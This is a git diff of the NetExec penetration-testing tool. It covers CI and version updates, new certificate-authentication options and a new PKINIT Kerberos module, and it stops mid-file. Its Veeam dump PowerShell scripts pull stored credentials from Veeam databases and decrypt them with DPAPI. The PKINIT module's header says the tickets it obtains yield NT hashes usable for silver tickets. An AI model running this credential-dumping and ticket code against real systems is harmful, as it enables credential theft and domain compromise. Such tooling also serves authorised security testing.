diff --git a/.github/PULL_REQUEST_TEMPLATE/pull_request_template.md b/.github/PULL_REQUEST_TEMPLATE.md similarity index 94% rename from .github/PULL_REQUEST_TEMPLATE/pull_request_template.md rename to .github/PULL_REQUEST_TEMPLATE.md index d345ef99..6289c4a1 100644 --- a/.github/PULL_REQUEST_TEMPLATE/pull_request_template.md +++ b/.github/PULL_REQUEST_TEMPLATE.md @@ -1,11 +1,3 @@ ---- -name: Pull request -about: Update code to fix a bug or add an enhancement/feature -title: '' -labels: '' -assignees: '' - ---- ## Description Please include a summary of the change and which issue is fixed, or what the enhancement does. diff --git a/.github/workflows/build-binaries.yml b/.github/workflows/build-binaries.yml index 8a21f79c..dba5bf53 100644 --- a/.github/workflows/build-binaries.yml +++ b/.github/workflows/build-binaries.yml @@ -10,7 +10,7 @@ jobs: strategy: matrix: os: [ubuntu-latest, macOS-latest, windows-latest] - python-version: ["3.11"] + python-version: ["3.13"] #python-version: ["3.8", "3.9", "3.10", "3.11"] # for binary builds we only need one version steps: - uses: actions/checkout@v4 @@ -25,13 +25,13 @@ jobs: pyinstaller netexec.spec - name: Upload Windows Binary if: runner.os == 'windows' - uses: actions/upload-artifact@v3 + uses: actions/upload-artifact@v4 with: name: nxc.exe path: dist/nxc.exe - name: Upload Nix/OSx Binary if: runner.os != 'windows' - uses: actions/upload-artifact@v3 + uses: actions/upload-artifact@v4 with: name: nxc-${{ matrix.os }} path: dist/nxc diff --git a/.github/workflows/build-zipapps.yml b/.github/workflows/build-zipapps.yml index 1100cabf..e35b4f04 100644 --- a/.github/workflows/build-zipapps.yml +++ b/.github/workflows/build-zipapps.yml @@ -10,7 +10,7 @@ jobs: strategy: matrix: os: [ubuntu-latest, macOS-latest, windows-latest] - python-version: ["3.8", "3.9", "3.10", "3.11"] + python-version: ["3.10", "3.11", "3.12", "3.13"] steps: - uses: actions/checkout@v4 - name: NetExec set up python on ${{ matrix.os }} @@ -22,12 +22,12 @@ jobs: pip install shiv python build_collector.py - name: Upload nxc ZipApp - uses: actions/upload-artifact@v3 + uses: actions/upload-artifact@v4 with: name: nxc-zipapp-${{ matrix.os }}-${{ matrix.python-version }} path: bin/nxc - name: Upload nxcdb ZipApp - uses: actions/upload-artifact@v3 + uses: actions/upload-artifact@v4 with: name: nxcdb-zipapp-${{ matrix.os }}-${{ matrix.python-version }} path: bin/nxcdb diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml index 0093889c..f747ec58 100644 --- a/.github/workflows/lint.yml +++ b/.github/workflows/lint.yml @@ -19,7 +19,7 @@ jobs: - name: Set up Python uses: actions/setup-python@v5 with: - python-version: 3.11 + python-version: 3.13 cache: poetry cache-dependency-path: poetry.lock - name: Install dependencies with dev group diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml index 26621360..289147e5 100644 --- a/.github/workflows/test.yml +++ b/.github/workflows/test.yml @@ -8,18 +8,20 @@ on: jobs: build: name: Test for Py${{ matrix.python-version }} - if: github.event.review.state == 'APPROVED' + if: github.event.review.state == 'APPROVED' || github.event_name == 'workflow_dispatch' runs-on: ${{ matrix.os }} strategy: max-parallel: 5 matrix: os: [ubuntu-latest] - python-version: ["3.8", "3.9", "3.10", "3.11", "3.12"] + python-version: ["3.10", "3.11", "3.12", "3.13"] steps: - uses: actions/checkout@v4 - name: Install poetry run: | pipx install poetry + poetry --version + poetry env info - name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }} uses: actions/setup-python@v5 with: @@ -29,11 +31,6 @@ jobs: - name: Install with pipx run: | pipx install . --python python${{ matrix.python-version }} - - name: Install poetry - run: | - pipx install poetry --python python${{ matrix.python-version }} - poetry --version - poetry env info - name: Install libraries with dev group run: | poetry install --with dev @@ -48,4 +45,4 @@ jobs: poetry run netexec mssql 127.0.0.1 poetry run netexec ssh 127.0.0.1 poetry run netexec ftp 127.0.0.1 - poetry run netexec smb 127.0.0.1 -M veeam + poetry run netexec smb 127.0.0.1 -L diff --git a/LICENSE b/LICENSE index 07c28cf6..0447e3d2 100755 --- a/LICENSE +++ b/LICENSE @@ -1,4 +1,4 @@ -Copyright (c) 2023, Marshall-Hallenbeck, NeffIsBack, zblurx, mpgn_x64 +Copyright (c) 2025, Marshall-Hallenbeck, NeffIsBack, zblurx, mpgn_x64 Copyright (c) 2022, byt3bl33d3r All rights reserved. diff --git a/README.md b/README.md index 5b27ddc6..5da261ca 100755 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -![Supported Python versions](https://img.shields.io/badge/python-3.8+-blue.svg) +![Supported Python versions](https://img.shields.io/badge/python-3.10+-blue.svg) [![Twitter](https://img.shields.io/twitter/follow/al3xn3ff?label=al3x_n3ff&style=social)](https://twitter.com/intent/follow?screen_name=al3x_n3ff) [![Twitter](https://img.shields.io/twitter/follow/_zblurx?label=_zblurx&style=social)](https://twitter.com/intent/follow?screen_name=_zblurx) [![Twitter](https://img.shields.io/twitter/follow/MJHallenbeck?label=MJHallenbeck&style=social)](https://twitter.com/intent/follow?screen_name=MJHallenbeck) diff --git a/netexec.spec b/netexec.spec index 38057f5a..dfb0d7ba 100644 --- a/netexec.spec +++ b/netexec.spec @@ -20,15 +20,18 @@ a = Analysis( 'aardwolf.commons.target', 'aardwolf.protocol.x224.constants', 'impacket.examples.secretsdump', + 'impacket.examples.regsecrets', 'impacket.dcerpc.v5.lsat', 'impacket.dcerpc.v5.transport', 'impacket.dcerpc.v5.lsad', 'impacket.dcerpc.v5.gkdi', 'impacket.dcerpc.v5.rprn', + 'impacket.dcerpc.v5.even', 'impacket.dpapi_ng', 'impacket.tds', 'impacket.version', 'impacket.ldap.ldap', + 'jwt', 'nxc.connection', 'nxc.servers.smb', 'nxc.protocols.smb.wmiexec', @@ -45,9 +48,9 @@ a = Analysis( 'nxc.helpers.ntlm_parser', 'paramiko', 'pypsrp.client', - 'pywerview.cli.helpers', 'pylnk3', 'pypykatz', + 'pyNfsClient', 'masky', 'msldap', 'msldap.connection', @@ -69,6 +72,7 @@ a = Analysis( 'dploot.triage.masterkeys', 'dploot.triage.mobaxterm', 'dploot.triage.backupkey', + 'dploot.triage.wam', 'dploot.triage.wifi', 'dploot.triage.sccm', 'dploot.lib.target', diff --git a/nxc/cli.py b/nxc/cli.py index d94e493b..ee8f2323 100755 --- a/nxc/cli.py +++ b/nxc/cli.py @@ -19,11 +19,13 @@ def gen_cli_args(): try: VERSION, COMMIT = importlib.metadata.version("netexec").split("+") + DISTANCE, COMMIT = COMMIT.split(".") except ValueError: VERSION = importlib.metadata.version("netexec") COMMIT = "" - CODENAME = "ItsAlwaysDNS" - nxc_logger.debug(f"NXC VERSION: {VERSION} - {CODENAME} - {COMMIT}") + DISTANCE = "" + CODENAME = "NeedForSpeed" + nxc_logger.debug(f"NXC VERSION: {VERSION} - {CODENAME} - {COMMIT} - {DISTANCE}") generic_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone) generic_group = generic_parser.add_argument_group("Generic", "Generic options for nxc across protocols") @@ -53,9 +55,9 @@ def gen_cli_args(): || || | \ | | ___ | |_ | ____| __ __ ___ ___ \\( )// | \| | / _ \ | __| | _| \ \/ / / _ \ / __| .=[ ]=. | |\ | | __/ | |_ | |___ > < | __/ | (__ - / /ॱ-ॱ\ \ |_| \_| \___| \__| |_____| /_/\_\ \___| \___| - ॱ \ / ॱ - ॱ ॱ + / /˙-˙\ \ |_| \_| \___| \__| |_____| /_/\_\ \___| \___| + ˙ \ / ˙ + ˙ ˙ The network execution tool Maintained as an open source project by @NeffIsBack, @MJHallenbeck, @_zblurx @@ -98,6 +100,13 @@ def gen_cli_args(): kerberos_group.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)") kerberos_group.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)") kerberos_group.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter") + + certificate_group = std_parser.add_argument_group("Certificate", "Options for certificate authentication") + certificate_group.add_argument("--pfx-cert", metavar="PFXCERT", help="Use certificate authentication from pfx file .pfx") + certificate_group.add_argument("--pfx-base64", metavar="PFXB64", help="Use certificate authentication from pfx file encoded in base64") + certificate_group.add_argument("--pfx-pass", metavar="PFXPASS", help="Password of the pfx certificate") + certificate_group.add_argument("--pem-cert", metavar="PEMCERT", help="Use certificate authentication from PEM file") + certificate_group.add_argument("--pem-key", metavar="PEMKEY", help="Private key for the PEM format") server_group = std_parser.add_argument_group("Servers", "Options for nxc servers") server_group.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server") @@ -123,7 +132,7 @@ def gen_cli_args(): sys.exit(1) if args.version: - print(f"{VERSION} - {CODENAME} - {COMMIT}") + print(f"{VERSION} - {CODENAME} - {COMMIT} - {DISTANCE}") sys.exit(1) # Multiply output_tries by 10 to enable more fine granural control, see exec methods diff --git a/nxc/connection.py b/nxc/connection.py index 527e93e6..3c9b0843 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -1,4 +1,7 @@ import random +import sys +import contextlib + from os.path import isfile from threading import BoundedSemaphore from functools import wraps @@ -13,10 +16,9 @@ from nxc.loaders.moduleloader import ModuleLoader from nxc.logger import nxc_logger, NXCAdapter from nxc.context import Context from nxc.protocols.ldap.laps import laps_search +from nxc.helpers.pfx import pfx_auth from impacket.dcerpc.v5 import transport -import sys -import contextlib sem = BoundedSemaphore(1) global_failed_logins = 0 @@ -229,7 +231,8 @@ class connection: else: self.logger.debug("Created connection object") self.enum_host_info() - if self.print_host_info() and (self.login() or (self.username == "" and self.password == "")): + self.print_host_info() + if self.login() or (self.username == "" and self.password == ""): if hasattr(self.args, "module") and self.args.module: self.load_modules() self.logger.debug("Calling modules") @@ -383,7 +386,7 @@ class connection: if isfile(user): with open(user) as user_file: for line in user_file: - if "\\" in line: + if "\\" in line and len(line.split("\\")) == 2: domain_single, username_single = line.split("\\") else: domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain else self.domain @@ -547,6 +550,14 @@ class connection: self.logger.info("Successfully authenticated using Kerberos cache") return True + if self.args.pfx_cert or self.args.pfx_base64 or self.args.pem_cert: + self.logger.debug("Trying to authenticate using Certificate pfx") + if not self.args.username: + self.logger.fail("You must specify a username when using certificate authentication") + return False + with sem: + return pfx_auth(self) + if hasattr(self.args, "laps") and self.args.laps: self.logger.debug("Trying to authenticate using LAPS") username[0], secret[0], domain[0] = laps_search(self, username, secret, cred_type, domain, self.dns_server) diff --git a/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 b/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 index 3d14ccc5..ad3f2ddd 100644 --- a/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 +++ b/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 @@ -1,9 +1,10 @@ $SqlDatabaseName = "REPLACE_ME_SqlDatabase" $SqlServerName = "REPLACE_ME_SqlServer" $SqlInstanceName = "REPLACE_ME_SqlInstance" +$b64Salt = "REPLACE_ME_b64Salt" #Forming the connection string -$SQL = "SELECT [user_name] AS 'User',[password] AS 'Password' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords +$SQL = "SELECT [user_name] AS 'User', [password] AS 'Password', [description] AS 'Description' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords $auth = "Integrated Security=SSPI;" #Local user $connectionString = "Provider=sqloledb; Data Source=$SqlServerName\$SqlInstanceName; Initial Catalog=$SqlDatabaseName; $auth;" $connection = New-Object System.Data.OleDb.OleDbConnection $connectionString @@ -22,19 +23,46 @@ catch { exit -1 } -$rows=($dataset.Tables | Select-Object -Expand Rows) -if ($rows.count -eq 0) { +$output=($dataset.Tables | Select-Object -Expand Rows) +if ($output.count -eq 0) { Write-Host "No passwords found!" exit } Add-Type -assembly System.Security -#Decrypting passwords using DPAPI -$rows | ForEach-Object -Process { - $EnryptedPWD = [Convert]::FromBase64String($_.password) - $ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine ) +# Decrypting passwords using DPAPI +$output | ForEach-Object -Process { + $EncryptedPWD = [Convert]::FromBase64String($_.password) $enc = [system.text.encoding]::Default - $_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR' + + try { + # Decrypt password with DPAPI (old Veeam versions) + $raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine ) + $pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR' + } catch { + try{ + # Decrypt password with salted DPAPI (new Veeam versions) + $salt = [System.Convert]::FromBase64String($b64Salt) + $hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2) + foreach ($byte in $EncryptedPWD) + { + $hex.AppendFormat("{0:x2}", $byte) > $null + } + $hex = $hex.ToString().Substring(74,$hex.Length-74) + $EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2) + for ($i = 0; $i -lt $hex.Length; $i += 2) + { + $EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16) + } + $raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine) + $pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR' + }catch { + $pw_string = "COULD_NOT_DECRYPT" + } + } + $_.user = $_.user -replace '\s', 'WHITESPACE_ERROR' + $_.password = $pw_string + $_.description = $_.description -replace '\s', 'WHITESPACE_ERROR' } -Write-Output $rows | Format-Table -HideTableHeaders | Out-String +Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000 diff --git a/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1 b/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1 index 16ad63f3..cb198826 100644 --- a/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1 +++ b/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1 @@ -1,8 +1,9 @@ $PostgreSqlExec = "REPLACE_ME_PostgreSqlExec" $PostgresUserForWindowsAuth = "REPLACE_ME_PostgresUserForWindowsAuth" $SqlDatabaseName = "REPLACE_ME_SqlDatabaseName" +$b64Salt = "REPLACE_ME_b64Salt" -$SQLStatement = "SELECT user_name AS User,password AS Password FROM credentials WHERE password != '';" +$SQLStatement = "SELECT user_name AS User, password AS Password, description AS Description FROM credentials WHERE password != '';" $output = . $PostgreSqlExec -U $PostgresUserForWindowsAuth -w -d $SqlDatabaseName -c $SQLStatement --csv | ConvertFrom-Csv if ($output.count -eq 0) { @@ -10,13 +11,40 @@ if ($output.count -eq 0) { exit } +# Decrypting passwords using DPAPI Add-Type -assembly System.Security -#Decrypting passwords using DPAPI $output | ForEach-Object -Process { - $EnryptedPWD = [Convert]::FromBase64String($_.password) - $ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine ) + $EncryptedPWD = [Convert]::FromBase64String($_.password) $enc = [system.text.encoding]::Default - $_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR' + + try { + # Decrypt password with DPAPI (old Veeam versions) + $raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine ) + $pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR' + } catch { + try{ + # Decrypt password with salted DPAPI (new Veeam versions) + $salt = [System.Convert]::FromBase64String($b64Salt) + $hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2) + foreach ($byte in $EncryptedPWD) + { + $hex.AppendFormat("{0:x2}", $byte) > $null + } + $hex = $hex.ToString().Substring(74,$hex.Length-74) + $EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2) + for ($i = 0; $i -lt $hex.Length; $i += 2) + { + $EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16) + } + $raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine) + $pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR' + }catch { + $pw_string = "COULD_NOT_DECRYPT" + } + } + $_.user = $_.user -replace '\s', 'WHITESPACE_ERROR' + $_.password = $pw_string + $_.description = $_.description -replace '\s', 'WHITESPACE_ERROR' } -Write-Output $output | Format-Table -HideTableHeaders | Out-String \ No newline at end of file +Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000 \ No newline at end of file diff --git a/nxc/database.py b/nxc/database.py index af8b6e1e..023288f1 100644 --- a/nxc/database.py +++ b/nxc/database.py @@ -1,4 +1,5 @@ import configparser +import ipaddress import shutil import sys from os import mkdir @@ -8,7 +9,7 @@ from pathlib import Path from sqlite3 import connect from threading import Lock -from sqlalchemy import create_engine, MetaData +from sqlalchemy import create_engine, MetaData, func from sqlalchemy.exc import IllegalStateChangeError from sqlalchemy.orm import sessionmaker, scoped_session @@ -109,7 +110,36 @@ def initialize_db(): # Even if the default workspace exists, we still need to check if every protocol has a database (in case of a new protocol) init_protocol_dbs("default") + +def format_host_query(q, filter_term, HostsTable): + """One annoying thing is that if you search for an ip such as '10.10.10.5', + it will return 10.10.10.5 and 10.10.10.52, so we have to check if its an ip address first + """ + # the FTP and SSH protocols call the column host instead of IP + # TODO: normalize these column names + if hasattr(HostsTable.c, "ip"): + ip_column = HostsTable.c.ip + nxc_logger.debug("Using 'ip' column for filtering") + elif hasattr(HostsTable.c, "host"): + ip_column = HostsTable.c.host + nxc_logger.debug("Using 'host' column for filtering") + else: + nxc_logger.debug("Neither 'ip' nor 'host' columns found in the table") + return q + + # first we check if its an ip address + try: + ipaddress.ip_address(filter_term) + nxc_logger.debug(f"filter_term is an IP address: {filter_term}") + q = q.filter(ip_column == filter_term) + except ValueError: + nxc_logger.debug(f"filter_term is not an IP address: {filter_term}") + like_term = func.lower(f"%{filter_term}%") + + # check if the hostname column exists for hostname searching + q = q.filter(ip_column.like(like_term) | func.lower(HostsTable.c.hostname).like(like_term)) if hasattr(HostsTable.c, "hostname") else q.filter(ip_column.like(like_term)) + return q class BaseDB: def __init__(self, db_engine): diff --git a/nxc/helpers/args.py b/nxc/helpers/args.py index 3713a857..2336a057 100644 --- a/nxc/helpers/args.py +++ b/nxc/helpers/args.py @@ -1,4 +1,5 @@ from argparse import ArgumentDefaultsHelpFormatter, SUPPRESS, OPTIONAL, ZERO_OR_MORE +from argparse import Action class DisplayDefaultsNotNone(ArgumentDefaultsHelpFormatter): def _get_help_string(self, action): @@ -7,4 +8,18 @@ class DisplayDefaultsNotNone(ArgumentDefaultsHelpFormatter): defaulting_nargs = [OPTIONAL, ZERO_OR_MORE] if (action.option_strings or action.nargs in defaulting_nargs) and action.default: # Only add default info if it's not None help_string += " (default: %(default)s)" # NORUFF - return help_string \ No newline at end of file + return help_string + + +class DefaultTrackingAction(Action): + def __init__(self, option_strings, dest, default=None, required=False, **kwargs): + # Store the default value to check later + self.default_value = default + super().__init__( + option_strings, dest, default=default, required=required, **kwargs + ) + + def __call__(self, parser, namespace, values, option_string=None): + # Set an attribute to track whether the value was explicitly set + setattr(namespace, self.dest, values) + setattr(namespace, f"{self.dest}_explicitly_set", True) diff --git a/nxc/helpers/pfx.py b/nxc/helpers/pfx.py new file mode 100644 index 00000000..769f5123 --- /dev/null +++ b/nxc/helpers/pfx.py @@ -0,0 +1,538 @@ +# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Author: +# Alberto Solino (@agsolino) +# Dirk-jan Mollema (@_dirkjan) +# +# Description: +# This script will use an existing TGT to request a PAC for the current user using U2U. +# When the TGT was obtained using PKINIT, the resulting PAC will contain the NT hash which can be +# used for silver tickets and for backwards compatibility with other tooling. +# +# References: +# +# U2U: https://tools.ietf.org/html/draft-ietf-cat-user2user-02 +# +# Based on examples from minikerberos by skelsec +# Parts of this code was inspired by the following project by @rubin_mor +# https://github.com/morRubin/AzureADJoinedMachinePTC +# +# Author: +# Tamas Jos (@skelsec) +# Dirk-jan Mollema (@_dirkjan) +# + +import os +import secrets +import hashlib +import datetime +import logging +import random +import base64 + +from binascii import unhexlify, hexlify + +from oscrypto.keys import parse_pkcs12, parse_certificate, parse_private +from oscrypto.asymmetric import rsa_pkcs1v15_sign, load_private_key + +from asn1crypto import cms +from asn1crypto import algos +from asn1crypto import core +from asn1crypto import keys + +from minikerberos.pkinit import PKINIT, DirtyDH +from minikerberos.protocol.constants import NAME_TYPE, PaDataType +from minikerberos.protocol.encryption import Enctype, _enctype_table, Key +from minikerberos.protocol.asn1_structs import KDC_REQ_BODY, PrincipalName, KDCOptions, EncASRepPart, AS_REQ, PADATA_TYPE, \ + PA_PAC_REQUEST +from minikerberos.protocol.rfc4556 import PKAuthenticator, AuthPack, PA_PK_AS_REP, KDCDHKeyInfo, PA_PK_AS_REQ + +from pyasn1.codec.der import decoder, encoder +from pyasn1.type.univ import noValue + +from impacket.dcerpc.v5.rpcrt import TypeSerialization1 +from impacket.krb5 import constants +from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, EncTicketPart, AD_IF_RELEVANT, Ticket as TicketAsn1 +from impacket.krb5.kerberosv5 import sendReceive +from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, PAC_CREDENTIAL_INFO, \ + PAC_CREDENTIAL_DATA, NTLM_SUPPLEMENTAL_CREDENTIAL +from impacket.krb5.types import Principal, KerberosTime, Ticket + +# Imports for pfx_auth +from minikerberos.network.clientsocket import KerberosClientSocket +from minikerberos.common.target import KerberosTarget +from minikerberos.common.ccache import CCACHE + +from impacket.krb5.ccache import CCache as impacket_CCache + +from nxc.paths import NXC_PATH + + +class myPKINIT(PKINIT): + """ + Copy of minikerberos PKINIT + With some changes where it differs from PKINIT used in NegoEx + """ + + @staticmethod + def from_pfx(pfxfile, pfxpass, dh_params=None, b64=False): + with open(pfxfile, "rb") as f: + pfxdata = f.read() + + if b64: + pfxdata = base64.b64decode(pfxdata) + + return myPKINIT.from_pfx_data(pfxdata, pfxpass, dh_params) + + @staticmethod + def from_pfx_data(pfxdata, pfxpass, dh_params=None): + pkinit = myPKINIT() + # oscrypto does not seem to support pfx without password, so convert it to PEM using cryptography instead + if not pfxpass: + from cryptography.hazmat.primitives.serialization import pkcs12 + from cryptography.hazmat.primitives import serialization + privkey, cert, extra_certs = pkcs12.load_key_and_certificates(pfxdata, None) + pem_key = privkey.private_bytes( + encoding=serialization.Encoding.PEM, + format=serialization.PrivateFormat.TraditionalOpenSSL, + encryption_algorithm=serialization.NoEncryption(), + ) + pkinit.privkey = load_private_key(parse_private(pem_key)) + pem_cert = cert.public_bytes( + encoding=serialization.Encoding.PEM + ) + pkinit.certificate = parse_certificate(pem_cert) + else: + if isinstance(pfxpass, str): + pfxpass = pfxpass.encode() + pkinit.privkeyinfo, pkinit.certificate, pkinit.extra_certs = parse_pkcs12(pfxdata, password=pfxpass) + pkinit.privkey = load_private_key(pkinit.privkeyinfo) + pkinit.setup(dh_params=dh_params) + return pkinit + + @staticmethod + def from_pem(certfile, privkeyfile, dh_params=None): + pkinit = myPKINIT() + with open(certfile, "rb") as f: + pkinit.certificate = parse_certificate(f.read()) + with open(privkeyfile, "rb") as f: + pkinit.privkey = load_private_key(parse_private(f.read())) + pkinit.setup(dh_params=dh_params) + return pkinit + + def sign_authpack(self, data, wrap_signed=False): + return self.sign_authpack_native(data, wrap_signed) + + def setup(self, dh_params=None): + self.issuer = self.certificate.issuer.native["common_name"] + if dh_params is None: + print("Generating DH params...") + print("DH params generated.") + else: + if isinstance(dh_params, dict): + self.diffie = DirtyDH.from_dict(dh_params) + elif isinstance(dh_params, bytes): + self.diffie = DirtyDH.from_asn1(dh_params) + elif isinstance(dh_params, DirtyDH): + self.diffie = dh_params + else: + raise Exception("DH params must be either a bytearray or a dict") + + def build_asreq(self, domain=None, cname=None, kdcopts=None): + if kdcopts is None: + kdcopts = ["forwardable", "renewable", "renewable-ok"] + if isinstance(kdcopts, list): + kdcopts = set(kdcopts) + if cname is not None: + if isinstance(cname, str): + cname = [cname] + else: + cname = [self.cname] + + now = datetime.datetime.now(datetime.timezone.utc) + + kdc_req_body_data = {} + kdc_req_body_data["kdc-options"] = KDCOptions(kdcopts) + kdc_req_body_data["cname"] = PrincipalName({"name-type": NAME_TYPE.PRINCIPAL.value, "name-string": cname}) + kdc_req_body_data["realm"] = domain.upper() + kdc_req_body_data["sname"] = PrincipalName({"name-type": NAME_TYPE.SRV_INST.value, "name-string": ["krbtgt", domain.upper()]}) + kdc_req_body_data["till"] = (now + datetime.timedelta(days=1)).replace(microsecond=0) + kdc_req_body_data["rtime"] = (now + datetime.timedelta(days=1)).replace(microsecond=0) + kdc_req_body_data["nonce"] = secrets.randbits(31) + kdc_req_body_data["etype"] = [18, 17] # 23 breaks... + kdc_req_body = KDC_REQ_BODY(kdc_req_body_data) + + checksum = hashlib.sha1(kdc_req_body.dump()).digest() + + authenticator = {} + authenticator["cusec"] = now.microsecond + authenticator["ctime"] = now.replace(microsecond=0) + authenticator["nonce"] = secrets.randbits(31) + authenticator["paChecksum"] = checksum + + dp = {} + dp["p"] = self.diffie.p + dp["g"] = self.diffie.g + dp["q"] = 0 # mandatory parameter, but it is not needed + + pka = {} + pka["algorithm"] = "1.2.840.10046.2.1" + pka["parameters"] = keys.DomainParameters(dp) + + spki = {} + spki["algorithm"] = keys.PublicKeyAlgorithm(pka) + spki["public_key"] = self.diffie.get_public_key() + + authpack = {} + authpack["pkAuthenticator"] = PKAuthenticator(authenticator) + authpack["clientPublicValue"] = keys.PublicKeyInfo(spki) + authpack["clientDHNonce"] = self.diffie.dh_nonce + + authpack = AuthPack(authpack) + signed_authpack = self.sign_authpack(authpack.dump(), wrap_signed=True) + + payload = PA_PK_AS_REQ() + payload["signedAuthPack"] = signed_authpack + + pa_data_1 = {} + pa_data_1["padata-type"] = PaDataType.PK_AS_REQ.value + pa_data_1["padata-value"] = payload.dump() + + pa_data_0 = {} + pa_data_0["padata-type"] = int(PADATA_TYPE("PA-PAC-REQUEST")) + pa_data_0["padata-value"] = PA_PAC_REQUEST({"include-pac": True}).dump() + + asreq = {} + asreq["pvno"] = 5 + asreq["msg-type"] = 10 + asreq["padata"] = [pa_data_0, pa_data_1] + asreq["req-body"] = kdc_req_body + + return AS_REQ(asreq).dump() + + def sign_authpack_native(self, data, wrap_signed=False): + """ + Creating PKCS7 blob which contains the following things: + + 1. 'data' blob which is an ASN1 encoded "AuthPack" structure + 2. the certificate used to sign the data blob + 3. the singed 'signed_attrs' structure (ASN1) which points to the "data" structure (in point 1) + """ + da = {} + da["algorithm"] = algos.DigestAlgorithmId("1.3.14.3.2.26") # for sha1 + + si = {} + si["version"] = "v1" + si["sid"] = cms.IssuerAndSerialNumber({ + "issuer": self.certificate.issuer, + "serial_number": self.certificate.serial_number, + }) + + si["digest_algorithm"] = algos.DigestAlgorithm(da) + si["signed_attrs"] = [ + cms.CMSAttribute({"type": "content_type", "values": ["1.3.6.1.5.2.3.1"]}), # indicates that the encap_content_info's authdata struct (marked with OID '1.3.6.1.5.2.3.1' is signed ) + cms.CMSAttribute({"type": "message_digest", "values": [hashlib.sha1(data).digest()]}), # hash of the data, the data itself will not be signed, but this block of data will be. + ] + si["signature_algorithm"] = algos.SignedDigestAlgorithm({"algorithm": "1.2.840.113549.1.1.1"}) + si["signature"] = rsa_pkcs1v15_sign(self.privkey, cms.CMSAttributes(si["signed_attrs"]).dump(), "sha1") + + ec = {} + ec["content_type"] = "1.3.6.1.5.2.3.1" + ec["content"] = data + + sd = {} + sd["version"] = "v3" + sd["digest_algorithms"] = [algos.DigestAlgorithm(da)] # must have only one + sd["encap_content_info"] = cms.EncapsulatedContentInfo(ec) + sd["certificates"] = [self.certificate] + sd["signer_infos"] = cms.SignerInfos([cms.SignerInfo(si)]) + + if wrap_signed is True: + ci = {} + ci["content_type"] = "1.2.840.113549.1.7.2" # signed data OID + ci["content"] = cms.SignedData(sd) + return cms.ContentInfo(ci).dump() + + return cms.SignedData(sd).dump() + + def decrypt_asrep(self, as_rep): + def truncate_key(value, keysize): + output = b"" + currentNum = 0 + while len(output) < keysize: + currentDigest = hashlib.sha1(bytes([currentNum]) + value).digest() + if len(output) + len(currentDigest) > keysize: + output += currentDigest[:keysize - len(output)] + break + output += currentDigest + currentNum += 1 + + return output + + for pa in as_rep["padata"]: + if pa["padata-type"] == 17: + pkasrep = PA_PK_AS_REP.load(pa["padata-value"]).native + break + else: + raise Exception("PA_PK_AS_REP not found!") + ci = cms.ContentInfo.load(pkasrep["dhSignedData"]).native + sd = ci["content"] + keyinfo = sd["encap_content_info"] + if keyinfo["content_type"] != "1.3.6.1.5.2.3.2": + raise Exception("Keyinfo content type unexpected value") + authdata = KDCDHKeyInfo.load(keyinfo["content"]).native + pubkey = int("".join(["1"] + [str(x) for x in authdata["subjectPublicKey"]]), 2) + + pubkey = int.from_bytes(core.BitString(authdata["subjectPublicKey"]).dump()[7:], "big", signed=False) + shared_key = self.diffie.exchange(pubkey) + + server_nonce = pkasrep["serverDHNonce"] + fullKey = shared_key + self.diffie.dh_nonce + server_nonce + + etype = 